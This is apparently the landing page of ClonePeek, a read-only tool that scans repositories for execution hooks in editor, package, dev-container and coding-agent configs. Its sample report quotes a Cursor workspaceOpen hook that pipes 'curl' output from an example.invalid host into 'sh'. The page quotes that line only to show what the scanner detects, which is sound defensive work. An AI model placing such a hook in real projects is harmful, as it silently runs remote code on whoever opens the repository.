Does this execute the project?
No. The scanner reads supported config files and bounded literal local shell references. It does not run package scripts, code hooks or MCP servers.
Your editor, package manager and coding agents can launch commands described inside a repository. ClonePeek inventories known execution hooks before you choose to open, install or trust it. No project code executed.
These are pre-recorded outputs from versioned, synthetic examples in the repository. Switching tabs does not scan or execute anything.
ClonePeek · 2 inspected · 0 skipped · 3 execution surfaces 1 critical · 1 high · 1 medium · 0 low · 0 info [CRITICAL] Cursor project hook: workspaceOpen .cursor/hooks.json:5 · Cursor workspaceOpen event curl https://example.invalid/bootstrap.sh | sh Why: A network response appears to be piped directly to a command interpreter. [HIGH] Claude Code command hook: SessionStart .claude/settings.json:5 · Claude Code SessionStart event (matcher: *) echo session-ready [MEDIUM] Cursor project hook: afterFileEdit .cursor/hooks.json:8 · Cursor afterFileEdit event echo formatting-completed
.invalid addresses; commands never executed. Severity describes heuristic review priority, not confirmed malicious behavior. See full original output ↗Each finding links a command or executable to a trigger, source file, line number and review step.
Discover folderOpen tasks that may run when workspace trust and automatic-task controls permit.
Inventory hooks such as postinstall, prepare and explicit first-hop local shell references.
Review project command hooks attached to editor and coding-agent lifecycle events.
Flag startup, setup and lifecycle commands declared in development-container configs.
Understand commands used to start locally configured Model Context Protocol servers.
Produce machine-readable reports and optionally flag new findings against a reviewed baseline.
Install the trusted scanner first. Review the unfamiliar repository from a separate terminal before running its tools.
Needs Python 3.10+ and uv. The initial package download uses the network; scans do not.
uvx --from git+https://github.com/harshitethic/clonepeek@v0.5.1 clonepeek /path/to/repoUse ClonePeek as a composite action; report-only is the default. Enable severity gates only after reviewing your baseline.
- uses: harshitethic/clonepeek@v0.5.1
with:
fail-on: noneSource links and reproducible evidence, with what was—and wasn't—tested.
CI tested the GitHub Action on Windows, Linux and macOS. A maintainer-run separate-repository smoke test checked exact Git blobs and found 7 Cursor hook commands and 2 VS Code folder-open tasks.
These are intentionally selected test cases—not representative accuracy, independent adoption, or a malware verdict.
No. The scanner reads supported config files and bounded literal local shell references. It does not run package scripts, code hooks or MCP servers.
No. Dynamic paths, nested scripts, language import/build execution and other surfaces are outside the current scope. A report cannot certify repository safety.
No. Severity is a heuristic review priority. Legitimate automatic tasks can be flagged high; reported findings are not evidence of compromise.
Yes. Inert and redacted minimal examples are welcome. Please don't submit live malicious payloads, credentials or private code.
ClonePeek is small, read-only and candid about its limits. Review the source, run the harmless demo, or contribute a missing execution surface.